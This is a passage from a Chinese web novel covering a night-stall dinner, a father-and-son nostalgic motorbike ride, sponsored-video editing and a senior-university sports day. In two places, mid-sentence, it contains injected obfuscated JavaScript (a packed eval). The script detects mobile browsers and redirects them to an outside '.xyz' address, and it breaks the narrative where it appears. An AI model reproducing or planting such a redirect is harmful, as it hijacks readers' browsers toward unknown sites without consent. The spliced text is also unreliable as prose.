易诚坐在他身后,戴上头盔。 两人同时看向常乐,冲她挥挥手。 “骑慢点儿,注意安全。”常乐叮嘱道,“碰到减速带一定要慢慢过。” 想当年,她也蹲过边三轮的挎斗,那种颠到腾空的滋味至今还记忆犹新。 “放心吧。”方凛扬起手,向前一挥。 引擎轰鸣,边三轮驶入主干道,渐渐消失在夜色中。 常乐推着空荡荡的轮椅,转身准备回小区。 大排档里,男人激情四射地颠着勺,女人热情地招呼着客人,一个小胖墩端着一盘烤好的肉串儿,从常乐面前经过。 常乐咽了咽口水。 忍一忍,她答应了王哥,要回去帮他找狗的。 -- 半个小时后,常乐和王哥坐在大排档的小方桌旁。那条脏兮兮的比格被王哥夹在两腿中间,像蚯蚓一样扭来扭去。 王哥点了份扬州炒饭,饭一上桌,就狼吞虎咽地吃了起来。 常乐本来只点了烤串,见他吃得这么香,忍不住也给自己点了份香肠炒泡面。 “王哥,你还没摸清楚你家老狗的调性吗?它就喜欢往又脏又臭的地方钻。下次别趴地上找了,直接去垃圾回收站或者公厕里找。” 刚刚,常乐在小区里转悠了一圈,听到垃圾桶里有动静,连忙喊王哥过来,他却坚持认为里面是只老鼠。 常乐找了根树枝,往桶里戳来戳去,终于听到一阵标志性的驴叫:“呜儿呜儿呜儿……” 王哥把脸埋进饭里,“唔唔”两声,又说:“老鼠人设,随了我了。” 常乐忍不住想笑:“你这是饿了多久了啊?” “今天第一顿。” 王哥端起盘子,将剩下的炒饭往嘴里倒,甚至还舔起了盘子。 都说狗随主人,这主人也越来越像狗了。 常乐的炒面上桌了。她往王哥的盘子里扒了一半,自己吃剩下的。 “谢谢。”王哥迫不及待地吃了起来,“这顿我请了。” 常乐连忙摆手,“不用,我请。待会儿我还有两个朋友要来。” 过了一会儿,小胖墩给他们端来了新鲜出炉的烤串。 香喷喷的羊肉串,咬下时,能感受到焦香的外壳在齿间发出细微的碎响,汁水肆意流淌,香辣的滋味瞬间充满了口腔。 常乐左手举着肉串,右手拿着筷子,恨自己只有一张嘴,美味当前,根本忙不过来。 “唔,王哥,”她嘴里塞满了肉,边嚼边说,“我听易诚说,你上了个挺好的大学,毕业后也找了份不错的工作,为什么不继续干下去啊?” 王哥两只手都拿着串儿,一边咬一口,也是边嚼边说:“我得了病,治不好,没办法上班,所以就辞职了。” “啊?”常乐有些诧异。 原来是身体原因啊?那还挺值得同情的。 “什么病啊?” 王哥低下头,神色有些黯然,一缕黑发垂落在脸颊边。 “我有那种病,上不了班。” 常乐吓得往后一弹,差点从塑料凳上摔下去,手里的串也飞了出去。 “那种病?!”她大呼一声,赶紧抽出几张纸,擦擦嘴,又擦擦手,懊恼道:“你怎么不早说!” 王哥急忙辩解道:“不是你想的那种病!是那种……” “哪种啊?” 看他那讳莫如深的表情,常乐忽然反应过来:“哦,电线杆上贴的那种病,什么男人的难言之隐?” 隔壁桌一群男女齐刷刷看了过来,都在捂着嘴憋笑。 王哥左顾右盼,紧张地说:“你小点声!不是什么难言之隐,是……” 他叹了口气,压低声音说:“我这种病,学名叫肠易激综合征,分很多种情况。我的症状比较特殊,就是感到紧张、焦虑、压抑的时候,容易放屁、呕吐、腹泻。读书的时候还能控制住,但是工作之后,病情越来越严重,导致我一到公司就开始拉肚子,什么都干不了,领导天天骂我……没办法,我只能辞职了。” “哦……”常乐恍然大悟,捡起掉在桌上的羊肉串,同情地嚼了起来。 王哥恳求道:“你千万要保密啊。” 常乐不解地问:“为什么啊?这又不是什么传染病,别人知道了也不会歧视你啊。” 王哥把黑发捋到耳后,忧伤地说:“因为,大家知道我有这种病,只要闻到臭味,就会看向我。我成了万屁之源。” 常乐实在没忍住,捂着脸大笑起来,笑得桌子都在颤抖。 43. 43 夜色茫茫,街头空无一人。路灯一盏接一盏,绵延至黑夜的尽头。 边三轮平缓地行驶在马路上,发出低沉的轰响。易诚掀起头盔的面罩,感受夜风扑面的清爽。 挎斗里,易志刚坐得很稳,视线追随着街头的一草一木,迫切想寻找到记忆中的痕迹。 “啊啊!”他指着路边的大门,情绪很激动。 方凛缓缓停下车。 这是二中的校门,易诚的妈妈以前在二中教书,晚自习要到九点半才结束,易志刚经常骑着摩托车,前面坐着小小的易诚,在校门口等着接她回家。 有时等得久了,父子俩便会在旁边的小摊上买两份炸土豆片,边吃边等。 等她出来,他们总免不了挨一顿训:“又吃这种油炸食品!新闻里都说了,这都是地沟油!” 旁边的小贩急忙解释:“哪能啊?我用的都是好油,每天都换的。” 这时,易志刚只需毕恭毕敬地递上一份还未开动的炸土豆片,就能轻松地浇灭她的怒火。 易诚再递上筷子,乖巧地说:“妈,特意给你留的。” 校门内外一片漆黑,学生、家长、小摊贩都回家了,一家三口温馨的画面也融进了黑夜里。 “爸。”易诚轻拍易志刚的肩膀,“想吃炸土豆片吗?” 易志刚转头看向他,咧着嘴笑,“昂”了一声。 易诚也笑了:“明天给你买。” 方凛耐心地等父子俩聊完,问:“下一站去哪儿?” 易诚想了想,说:“你知道三中怎么走吗?” 方凛点点头,松开刹车,缓缓起步。 从二中到三中要穿过老街,几家大排档彻夜灯火通明。街角有几个小贩还在守着小吃摊,易诚来回张望一圈,没看到以前常吃的小摊。 “爸,你还记得这里不?”易诚对易志刚说,“我上初中的时候,每次下晚自习,都要买一根烤玉米吃。校门口人太多,我们就在约在这儿碰头。” 易志刚似乎记起来了,用力点点头。 方凛好奇地问:“烤玉米?你这宵夜吃得挺健康啊。” 易诚笑着解释:“不是像烤红薯那样烤,是先把糯玉米蒸熟,再放在烧烤架上烤。” 冬天的烤玉米最好吃,刷上一层油,将外皮烤得焦香,再均匀地撒上孜然、辣椒粉、白糖。一口下去,软糯的口感和鲜香的滋味交织在唇齿间,让人从里到外都暖和起来了。 方凛咽了咽口水,“说得我都馋了。” 下一站,去往慈湖公园。公园大门进不去,他们就沿着滨湖路缓缓行驶着。 易诚记得,道路两旁原本种的是香樟树,树木高大,郁郁葱葱,后来都换成了樱花树。去年,樱花盛放那几天,几乎全城的人都来这里拍照打卡。 易诚给易志刚看了几段视频,问他想不想去看看,他摇摇头,断断续续地说:“还是……以前的……好看……” 人老了就是这样,总觉得记忆中的景色更美。 路边的樱花树一棵接一棵,划过他们的视野。 “哎,停一下。”易诚突然拍拍方凛的肩。 方凛捏住手刹,“怎么了?” 易诚抬起手,指着头顶,“已经有樱花开了。” “这么早?”方凛有些诧异。 他顺着易诚手指的方向望去。昏黄的灯光下,樱花树的枝头零星地缀着几粒花苞,有朵花已经迫不及待地绽放了。 方凛惊喜地“哇”了一声,从兜里掏出手机,对着那朵在枝头独自绽放的花,拍了张照片。 他们恰好路过,而它恰好盛开。其中一个人,恰好抬起头。 所有的恰好,共同编织出了这一场浪漫的邂逅。 “爸,你看。”易诚示意易志刚抬头,“那朵花开了。” 易志刚缓缓抬起头,眯起眼,盯着灯光下摇曳的树枝。 他的瞳仁里,仿佛映着温暖的烛火。 后来,他们路过青少年宫,在门口朝里张望,各种游乐设施静静地蹲在黑夜里,像是睡着了。 易诚家里有张照片,就是在这里拍的。那年他五岁,易志刚跟他挤在一辆小黄鸭造型的儿童车里,父子俩对着镜头,笑得很开心。 镜头另一端,是妈妈含笑的眼眸。 再后来,边三轮一路驶向江边,江面寂静无声,无风也无浪。 月亮悬在天边,散发出幽幽的白光。 江滩上冒出了芦苇的新芽,才刚到小腿处。易诚跳下车,摘下一根嫩绿的芦苇,伸到易志刚的鼻子底下。 “爸,你闻。”他说,“是春天的味道。” -- 常乐盯着桌上最后两根羊肉串,陷入了纠结。 “要不给他们留一点儿?” “留什么留。”王哥一把抓起两根串儿,“等他们来了再点呗。” “有道理。”常乐眼疾手快地从他手里抢走一根串儿,把肉一口撸进嘴里,美滋滋地嚼了起来。 桌子底下,那只比格四脚朝天,睡得正酣。大耳朵铺在地上,像一对翅膀。 常乐低头端详着它的睡姿,感叹道:“你家老狗睡着的时候还挺可爱的嘛。” 王哥语速飞快:“你要吗?送你了。” 不等常乐拒绝,他又说:“我再给你三百。” 常乐哭笑不得:“不是……” “五百。” “我不是这个意思……” “你开个价。”王哥目光真挚地盯着她,“只要你能善待它,我做什么都愿意。” 常乐刚要开口,就听见身后传来一阵摩托声。她赶紧回过头,看见边三轮正好停在大排档门口。 “别想了,你自己好好养着吧。”常乐跟王哥交代了一句,起身推着轮椅走了出去。 易诚摘下头盔,捋了捋乱蓬蓬的头发,向方凛伸出手,“辛苦方大哥了。” 方凛咧嘴一笑,拍开他的手,说:“客气什么。” 两人合力将易志刚从挎斗里抬起来,安置在轮椅上。 易志刚眉眼低垂,神色稍显疲惫,但看得出来,他心情不错。 “我先把我爸送回去。”易诚握着轮椅的把手,对常乐和方凛说,“待会儿再过来跟你们汇合。” 常乐将方凛带到小方桌边,向他简单介绍了王哥,又喊来老板娘,加了几样小吃和烤串。 常乐给方凛倒可乐,问他:“玩得怎么样?” “很自在,很放松。”方凛一口气喝了半杯可乐,静默片刻,又说:“感觉易诚像个诗人。” 王哥慢悠悠地说:“在生老病死面前,人都会变成诗人。” 常乐正咂摸着这句话中的哲理,又听见方凛说:“其实我很羡慕他,能陪在他爸身边。我爸出事的时候,我还在部队,虽然第一时间请了假赶回去,还是没能见到他最后一面。” 常乐攥着塑料杯,看着方凛锋利的眉眼,心头涩意翻涌。 “你爸……是怎么走的?” “车祸。”方凛平静地说,“我弟在学校惹了事,班主任喊我爸过去。我爸一时心急,过斑马线时没留神,被一辆抢黄灯的出租车给撞了。” 所有的巧合凑到一起,酿成了这场悲剧。 常乐一时无言,王哥也低着头,微微叹了口气。 气氛陷入了沉默。 方凛喝完杯中的可乐,继续说:“没过多久,我就申请提前退伍了,我弟还小,家里不能没人。” 王哥抬起头,问:“你妈呢?” 方凛喉结滚动,声音微微颤抖:“很早之前就去世了。生我弟的时候,难产……” 常乐的心情更沉重了。她早就听说这对兄弟父母双亡,但从来没有认真想过,这轻飘飘的四个字,背后是接二连三的悲剧。 王哥想到的却是另一件事:“那你应该很恨你弟吧?你父母的去世,都是他间接造成的……不是我心理阴暗啊,小说里都是这么写的。” 方凛苦笑:“小说是小说。在现实世界里,我们是彼此唯一的家人。” 王哥还是想不通:“可是,你的不幸,都跟他有关……如果我是你,多少会有点怨恨吧。” 方凛摇摇头,“要说不幸,他比我更不幸,他一出生就失去了母亲,十几岁又失去了父亲,他肯定也很自责。我从不恨他。” 老板娘过来了,给他们端上来一盘水煮花生、一盘烤茄子,两碟卤味,还有一大把烤串。 “哎,不聊这些伤心事了。”王哥向前倾身,给方凛倒满可乐,“来来来,吃好喝好。” 方凛笑了笑,“我只是有感而发。看到易诚和他父亲,忍不住想起了自己的父母。”他举起杯子,“来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797659|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我敬你们。希望你们好好珍惜家人,多陪陪他们,不要像我一样……” 他的声音沙哑,眼眶微微泛红。 常乐赶紧举起杯子,跟他碰了一下,郑重道:“我会好好珍惜的。” “我……”王哥的杯子举起又放下,嘴角牵起一抹苦笑,“我就算了吧。我爸见我就烦,恨不得把我扫地出门。” “谁说的?” 身后传来易诚的声音。 常乐循声望去,看见易诚就站在王哥身后,额发微微濡湿,耳鬓淌着汗,眼底漾着笑意。 “这么快?”常乐急忙招呼他,“快坐快坐。易叔叔睡了吗?” 易诚在她对面坐下,点点头,“睡了,有护工陪着他,不用担心。” 他扫了一眼桌上的食物,问:“我能再加一样吗?” “你想吃什么?” “加四个烤玉米吧。” “行。”常乐招招手,喊来了老板娘。 易诚拿起一根烤串,边吃边说:“鼠哥,你这话就说得不对了,你爸其实挺关心你的。” 王哥轻笑一声:“你又不认识他。” “我认识。”易诚放下竹签,不紧不慢地说,“去年,你爸来我家找我,说想咨询一下开培训班的事,比如营业执照怎么办、要不要单独租办公室、教师资质证明怎么弄之类的。他说,他有个儿子,从小就会写作文,大学读的是汉语言文学,因为身体原因不能去上班,现在整天待在家里,昼夜颠倒,人不人鬼不鬼的。他想给儿子开个作文培训班,赚不赚钱无所谓,主要是让他有事干,不要颓废下去。”易诚冲王哥挑了挑眉,“我一猜就知道是你。” 王哥脸涨得通红,也不知是羞还是恼,嘟囔道:“我爸这人真是的,一天天的,就爱瞎操心。” 常乐好奇地问:“那后来呢?培训班开起来了吗?” “没有。”王哥没好气地说,“他跟我提过这事,我说我不喜欢跟小孩打交道,这事儿就没有后续了。” 方凛忍不住问:“那你现在在干嘛呢?” “一定要干点什么吗?”王哥怒气冲冲地反问他,“我就不能吃饭睡觉玩手机吗?” 桌上安静下来,一时间,没人敢接话。 王哥也意识到自己语气有些冲。他咽了咽唾沫,声音弱了几分:“对不起啊,我……在家写小说呢,每天要码两、三万字,千字八元,一个月也能赚不少钱,够养活自己了。” “哇,厉害啊!”常乐眼睛一亮,立马掏出手机,“请问王大作家,在哪儿能搜到你的大作啊?” “你搜不到。”王哥端起可乐,慢悠悠地喝了一口,“跟我合作的是个工作室。我负责提供原稿,他们负责把两三万字进行提炼、整合,然后把角色、地名全都换成别的名字。我自己都搜不到,更不用说你了。” 常乐皱着眉,想不明白:“为什么要这样啊?” 易诚轻轻地“啊”了一声,“我懂了,你是个枪手,没有署名权。” 王哥点点头,捻起一枚水煮花生,扔进嘴里。 “可是……”常乐喃喃道,“这样好吗?看着自己辛辛苦苦写出来的东西,变成了别人的作品,你不气愤吗?” “这有什么?”王哥满不在乎地说,“反正我写得很水,几万字才一个剧情,工作室也习惯了。我拿钱办事,不用署名,就不用担责。” 常乐张了张嘴,还想说什么,被他不耐烦地打断了:“哎哟,别聊我的事了。我就是废人一个,有什么可聊的?快吃快吃,羊肉串都冷了。” 就在这时,老板娘拿来四串玉米粒,放在他们的盘子里。 易诚呆住了,不敢置信地问:“这是……烤玉米啊?” “是啊,不是你们点的吗?”老板娘语气肯定。 易诚哑然失笑。这四串苗条的玉米粒,还不够他塞牙缝的。 他叹了口气,将玉米粒分发出去,一人一串。 常乐一口撸完,擦擦嘴,意犹未尽道:“有种在烧烤摊上吃减脂餐的违和感。” 这是甜玉米,脆甜的汁水和香辣的味道有些不搭,口感也不如糯玉米有嚼劲。 易诚吃完后,莫名有些惆怅。 回忆总是带着一层滤镜。不知从何时起,他也开始怀念起过去的风景,过去的食物,过去的家人,以及,过去的自己。 44. 44 私事解决得差不多了,常乐的假期也告罄了,她又过上了朝六晚十二的不健康生活。 朝六,是因为送林文娟上学前,她得先陪姥姥去买菜、买早饭,还得苦口婆心地劝她,不要被路边如雨后春笋般冒出来的各种理疗店诱惑。 自从姥姥薅羊毛上瘾后,冰箱里就堆满了免费的鸡蛋,厨房里也经常多出一些杂牌小家电、食用油、大米等“战利品”。 姥姥拍着胸脯向常乐保证,她会保持理智、见好就收,绝对不会让人家从她兜里骗走一分钱。 唯一值得欣慰的是,小区门口的旅行社不再向姥姥推销任何旅游产品了。估计是上次她的表现太差,被归为劣质客户,不值得维护。 等常乐安全护送姥姥到家,就得马不停蹄地赶去伺候下一个老板——林文娟。 收假第一天,常乐开车宛如复健。 林文娟再次迟到。 “业精于勤荒于嬉。你看看你,这段时间没开车,水平直线下降,驾校学的东西都还回去了!”林文娟怨气满满,“赶紧抓紧时间练练车。再迟到一次,这个月的绩效就别想要了。” 常乐有错在先,只能忍气吞声:“知道了。” 林文娟推开车门,又转过头,建议道:“你干脆去注册个网约车,在路上多练练,顺便赚点零花钱。” 常乐断然拒绝:“那怎么行?” “嘿!”林文眉毛一挑,“你还嫌弃上了?职业不分三六九等,网上都说了,大学生要脱下长衫……” “我不是嫌弃。”常乐拍了拍方向盘,示意她看车标,“妈,你是不是忘了?咱这是油车,开网约车得亏死。” “哦……也对。”林文娟下了车,隔着车窗交代道,“中午来接我。” 常乐毕恭毕敬:“嗻。” -- 至于晚十二,是因为常乐要处理的事实在太多了。 吃过晚饭后,她得洗碗,然后玩会儿手机,再去遛狗,边遛边玩手机,回家后还得拖地,拖累了再躺沙发上玩会儿手机,磨磨蹭蹭地去洗澡…… 最后,才正式进入工作——帮姥爷维护账号。 她开了一堆小号当水军、怼黑粉、删恶评、筛选商务——其实也没什么可筛选的,这段时间,姥爷就收到了三个广告邀约。 第一个是卖老年人保健品的,果断pass。 第二个是卖脱毛仪的,价格开得很高,但对方不肯先付定金。常乐在网上一搜,发现这个商家口碑奇差,每次都找借口拖延或者拒绝付款,于是果断将其拉黑。 再一想,让姥爷给脱毛仪打广告,这合适吗?他浑身上下就没剩几根毛了。 第三个是卖中老年男士的Polo衫的,商家开价两百,谈好后就把定金打过来了,还寄来了一捆Polo衫。 商家着重强调,他们家的衣服最大的卖点是弹性超超超级大,从一百斤到五百斤都能穿。 常乐:五百斤?你不如去找头大象当模特。 不过,钱已经收了,就得尽心尽力。 常乐绞尽脑汁,想了一晚上,终于设计出三套精彩绝伦的方案。 方案一:姥爷穿着一件蓝黑条纹的Polo衫,从副驾下车,关门,衣角不小心被车门夹住,车都开出去两三米远了,他还没察觉。 方案二:姥姥在阳台晾衣服,随着自动晾衣架缓缓上升,姥爷的Polo衫也升了上去,衣服里还挂着姥爷。他一弹一弹地荡起了秋千。 画风极其诡异,但莫名好笑。 “咳咳!”视频拍完,姥爷从Polo衫里挣脱出来,揉了揉自己的脖子,“勒死我了。这是在晾衣服还是在上吊啊?” 方案三,是由姥爷和他的象棋搭子刘老头共同完成的。两人背靠着背,共穿一件Polo衫,分别向两头走去。 直到Polo衫被拉出了两米宽,常乐才满意地喊“咔”。 “哎哟冷死我了。”刘老头一边嘟哝一边脱下Polo衫,一层一层地穿上自己的衣服。 “网红不好当啊。”姥爷看似抱怨,实则炫耀,“冬天穿短袖,夏天穿棉袄。为了拍一条视频,得花费多少时间,耗费多少精力。” 常乐斜乜他一眼。 拍视频算什么,剪视频才费时费力呢。 她得先把视频素材粗剪一遍,再一秒一秒地精减、拼接、合成,然后加上音效、特效、字幕,最后调色,导出视频成片。 最后成片不到三十秒,她足足熬了三个大夜。 结果,姥姥还在餐桌上控诉她,说她连续几天不睡觉,整晚趴在电脑前,眼睛都要瞎了。 常建民震怒:“不是说好了不能熬夜吗?违反员工行为守则是要扣钱的!” 常乐大呼冤枉:“我是在帮姥爷剪视频啊!他老眼昏花的,干不了这活儿,只能由我加班加点地干!你还扣我的钱?我没要你付加班费就不错了!” 林文娟蹙起眉,表示怀疑:“剪视频又不难,还需要加班吗?肯定是你效率太低了。” 常乐:“……” 如何用一句话激怒全国的牛马剪辑师,林老板,你做到了。 见常乐不吭声,林文娟再次提出质疑:“你是不是不会用工具啊?我跟你说,好的工具能事半功倍。” 常乐:“……啥工具?” 剪刀吗? 林文娟掏出手机,给她看手机上一个软件,说:“我这学期不是选了《视频的拍摄与剪辑》这门课嘛,老师教我们下载这个APP,把拍好的视频传上去,一键生成就行了。我们一节课就学会了。” 怕她听不懂,林文娟还亲自演示了一遍:“你看,我随便拍一段视频,上传,选个模版……视频出来了!厉害吧?” 常乐回忆起报名那天,在走廊宣传板上看到的老头,好像就是这门课的老师。 她愣愣地说:“你们老师……就教了这个啊?” 她不想干剪辑了。 她想去老年大学应聘。老师教得轻松,学生学得也有成就感。这世上没有比这更完美的工作了。 -- 视频发给商家后,常乐顺利地收到了尾款,并从姥爷那里分到了一百块的佣金。 而姥爷收获的不仅仅是钱,还有逐日递增的播放量,和一捆弹力超大的Polo衫。 他把衣服分给了几个关系好的老头,还特意给易诚留了两件,让他来家里试穿。 “这个颜色好,有活力。”等易诚换上后,姥爷上下打量着他,连连点头,“适合你们年轻人。” 他又拿起一件大红色的Polo衫,塞进易诚怀里,“这件显气色,给你爸。” 常乐坐在沙发上,一边嗑瓜子,一边打量着易诚。 有句话是怎么说来着?时尚的完成度,得靠脸。 但是,土成这样的衣服,就算是金城武来了也没辙。 易诚穿着这件黄黑条纹的翻领Polo衫,活像一只大马蜂。 他扯了扯衣角,又整了整衣领,腼腆地看着常乐,“你看行吗?” 常乐憋着笑,一本正经道:“不错,可以穿到八十岁。” 姥爷补充一句:“而且弹性大,以后发福了都不怕。” 常乐终于忍不住了,倒在沙发上笑得前合后仰。 -- 在连续接送林文娟一周后,常乐终于找回了开车的感觉,一路驾轻就熟,得心应手。 周五这天,林文娟给她派了个新任务——陪自己参加老年大学的亲子运动会。 常乐一脸震惊:“运动会?” 这是你们老年人该玩的东西吗? “都有哪些项目啊?” “打陀螺、踢毽子、下象棋、乒乓球、门球……” 常乐挠挠头,“这些我都不会啊,你应该找姥爷去,他至少会下象棋。” 林文娟补充道:“还有一些趣味项目,比如套圈、打气球、夹弹珠、运乒乓球之类的,我觉得你应该行。” 听上去挺有意思的。常乐考虑片刻,同意了。 根据她上次开家长会的经验,这类亲子活动,来的大多是学生的老伴儿或者朋友。跟一群眼花手抖的老年人比拼身体素质,她岂不是赢得轻轻松松? 运动会这天,常乐跟在林文娟身后,到老年大学的活动中心报名。 登记处坐着两位老师,一位是个卷毛的中年女人,圆脸搭配圆眼镜,像个卡通人物,林文娟亲切地喊她“叶主任”。 另一个是钟煜,他负责登记,并发放运动会的宣传册。 林文娟把常乐拉到自己身边,介绍道:“叶主任,这是我姑娘,叫常乐。” 钟煜瞥她一眼,嘴角微微弯起,在登记表上写上她的名字。 “哎!”叶主任拉着常乐的手,笑眯眯地说,“姑娘长得真漂亮啊,跟你一样,眼睛大,皮肤白,一看就有福气。” 她又问:“多大啦?” 常乐老实回答:“二十五。” 叶主任又问:“干什么工作的?” 常乐愣了一下,“这也要登记吗?” “是啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807711|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你看。”叶主任把登记表推到她面前,“家属的姓名、年龄、职业、联系方式、参赛项目,这几项是必填的。” 登记表上已经记录了十几位家属的信息,常乐飞快地扫了一眼,有某某区某某局的副局长,某某中学的年级组长,某某医院某某科的主任医师…… 怎么全是正经工作啊?一个打零工的都没有。 常乐有些心虚,瞟了林文娟一眼。 说自己是无业游民吧,有点给她妈丢人。 说是全职女儿吧,她还得给叶主任解释半天,越解释越显得欲盖弥彰。 只能随便编一个了。 “我是那个……”常乐挺直腰背,故作高深,“常胜……文化有限公司的,呃……主理人。” 叶主任果然听不懂:“主理人?是干什么的?” 常乐淡淡一笑,解释道:“就是操盘手。” 这段时间手机没白玩,她掌握了一堆生僻词汇,一个比一个能装。 叶主任更懵了,转过头询问钟煜:“啥是操盘手啊?” “操盘?方向盘吗?”钟煜挠着下巴,苦苦思索,忽然灵光一现,“我懂了,开车的!” 他低下头,在登记表上刷刷写下:“司机。” 常乐:“……” 凭什么人家的头衔这么长,她的就俩字?瞧不起司机是吧? -- 亲子运动会比预期的要好玩。虽然常乐输得一败涂地,但赢得了其它参赛选手的赞扬。因为他们一致认为,常乐肯定是故意输给他们的。 这么谦虚且懂礼貌的年轻人,现在真不多见了。 “你套圈是一个没套中啊。”林文娟连连摇头,扶额叹气。 她最想要的礼物在最后一排,是个手持按摩仪,结果被一个坐在轮椅上的老大爷套走了。 常乐也很苦恼:“我手抖。” 林文娟恨铁不成钢:“射气球居然还输给了老杨?他去年才做的青光眼手术呢!” 常乐心虚地挠挠头,“……这说明手术效果很好啊,为他感到高兴。” “那你夹弹珠怎么也——” “妈!”常乐忍不住打断她,“咱们是来玩的,不要这么在意输赢嘛。玩得高兴就好了。” 林文娟双手掐腰,气呼呼地说:“输得那么惨,我怎么高兴得起来?” 常乐一时无语。 这种事就没必要卷了吧?卷赢了又能怎么样?能获得奥运会参赛资格吗? “这样吧。”林文娟做了个深呼吸,“咱们再报一项,门球,怎么样?” 常乐愁眉苦脸地说:“我都不知道这是什么玩意儿。” “很简单的,你跟我来。” 林文娟拽着常乐的胳膊,把她带到运动场的东南角,那里有一片长方形的人造草坪,有几个人正在球场边等候。 钟煜也在球场边,拿着写字板在记录着什么。 林文娟解释道:“每队五个人,老周一直想拉我入伙,她们队有两个老太太心理素质不好,一比赛就手抖,咱们正好可以换上去。” 常乐嘟囔道:“这样不好吧……” “有什么不好的?一切都是为了胜利!”林文娟把她拉到草坪上,从旁边的架子上拿起一根球杆,给她演示:“用杆子把球打进球门就行。” “不是……”常乐一边走一边四处张望,怀疑自己也得了青光眼,“门在哪儿啊?” 话音刚落,右脚忽然被什么东西绊住,她猝不及防地向前一扑,重重地摔倒在草坪上,鞋都飞了出去。 什么玩意儿啊? 常乐回头一看:地上怎么会有个方形铁框? 林文娟走过来,蹲在她面前,面无表情地说:“这就是门。” 常乐心有余悸,忍不住吐槽:“这是什么门啊?邪门吧?藏得那么隐蔽,谁看得到啊?” 周围响起一阵哄笑。 常乐循声望去,围观人群中,就属钟煜笑得最开心。 她赶紧从地上爬起来,一只脚蹦跶着,去捡那只远走高飞的鞋。 这场比赛,她手抖得比那俩老太太还厉害,结局不出意料地惨败。 林文娟一脸无语地看着她。 常乐耸耸肩,淡定地说:“妈,收手吧。在不擅长的事情上,越努力,越心酸。” 最后,常乐也不是一无所获。叶主任给她颁发了一个“体育道德风尚奖”,高度赞扬了她“牺牲小我,成就大家”的体育精神,给其它参赛选手增添了自信,也给现场观众带来了欢乐。 45. 45 林文娟这学期只报了两所大学的八门课,照理来说,常乐的接送工作应该比之前轻松许多,但林文娟实在是太好学了,又自费报了个课外补习班,一周上两节课,每节课一个小时。 常乐送她过去后,不想来回折腾,索性坐在店里等她下课。 旁边坐了一排家长,个个怀里抱着书包,低头玩着手机,百无聊赖地打着哈欠。 一个戴眼镜、气质斯文的女人看手机看累了,抬起头张望一圈,然后跟坐在旁边的常乐搭讪:“你也是来接孩子的啊?” “呃……”常乐不知该怎么解释,只得含糊地“嗯”了一声。 女人端详着她,似乎对她很感兴趣:“我看你挺年轻的啊,你家孩子应该不大吧?这么小就送来学琴吗?学的什么啊?” 常乐支支吾吾,假装没听见前面的问题,只挑最后一个回答:“……二胡。” “你也找的钟老师吗?”女人直起身子,语气很兴奋,喋喋不休道,“也是上的提高班?你家孩子考级了吗?你们考级选的哪首曲子?对了,咱俩加个微信吧,有什么消息可以相互分享。” 她自顾自地说着,就要举起手机扫常乐的微信。 常乐腾地一下站起身,把女人吓了一大跳。 “不好意思啊,我突然想起来……”常乐东张西望,迫切地想找到逃走的借口。 恰在此时,前台小妹提着一袋外卖走了进来,常乐指着她,说:“我有点事要咨询她一下,先不聊了。” 说完赶紧小跑过去,冲到前台。 小妹放下外卖,问她:“您有什么事吗?” “那个,我想问一下……”常乐没话找话,“钟老师几点下课啊?” 小妹瞥了眼墙上的挂钟,“快了,有时候会拖一下堂。你别着急嘛,那边有空座,你可以坐着等。” 常乐站着没动,绞尽脑汁地想聊天的话题。 “还有什么事吗?”小妹奇怪地看着她。 “我就是想问一下,”常乐趴在前台,身子向前倾,一脸八卦的表情,“钟老师相亲了那么多次,成功了吗?” 小妹会心一笑。她不疾不徐地拆开外卖袋,拿起一杯奶茶,戳进吸管。 “应该没有,反正他现在还单着呢。”她吸了一口奶茶,调侃道,“怎么,你也想体验一下吗?只要报名我们的名师一对一指导班,可以免费获得一次相亲机会哦。” 常乐“噫”了一声,又嫌弃又感慨:“钟老师这么拼啊?为了卖课,不惜出卖色相,啧啧啧。” “说谁呢?” 身后传来一道清越的男声。 常乐一回头,就看到钟煜那张轮廓流畅的脸,笔挺的鼻梁,和微微弯起的眼眸。 他眸中带着几分笑意,佯装生气道:“什么叫出卖色相?这可是宠粉福利,一般人花钱都买不到呢。” 他又看向前台小妹,故作严肃道:“还有你,上班时间聊八卦,还喝奶茶?我的呢?” 小妹笑嘻嘻地从外卖袋里掏出一杯奶茶,双手奉上。 没过多久,林文娟就提着琴盒下楼了,一串小孩从她身后蜂拥而下,奔向各自的妈。 “那就这么说定了,钟老师。”林文娟跟钟煜商量道,“我每次提前一小时来,用一下你们的琴房。” 钟煜斜倚着前台,一边嚼着奶茶小料,一边说:“没问题,你在前台登记一下就行。” 林文娟看着他,张了张嘴,欲言又止。 当妈的本能让她想劝阻一切喝奶茶的行为,但是学生的身份又让她不敢僭越。 林文娟最终没说什么。她趴在前台,在一张琴房预约表上填写自己的名字和使用时间。 “妈,你以后要在这儿练二胡吗?”常乐好奇地问。 林文娟点点头,“在家里练容易被人投诉,尤其是那个吴翠,跟个顺风耳似的,每次见到我都要叨叨叨,烦都烦死了。” 她正低头填写着信息,突然听到“叮”的一声。 是常乐的手机响了。 林文娟登记完,一手提起琴盒,一手挽着常乐,回头冲钟煜点点头,“我们走了。” 钟煜抬起手,“拜~~” “走吧。”林文娟拉了一下常乐,没拉动。 转头一看,她还保持着刚刚的姿势,低头盯着手机。 “怎么了?”林文娟觉得奇怪,常乐像个雕塑般一动不动,周身的空气好像凝固了。 她心下一沉,急声问:“出事了?” 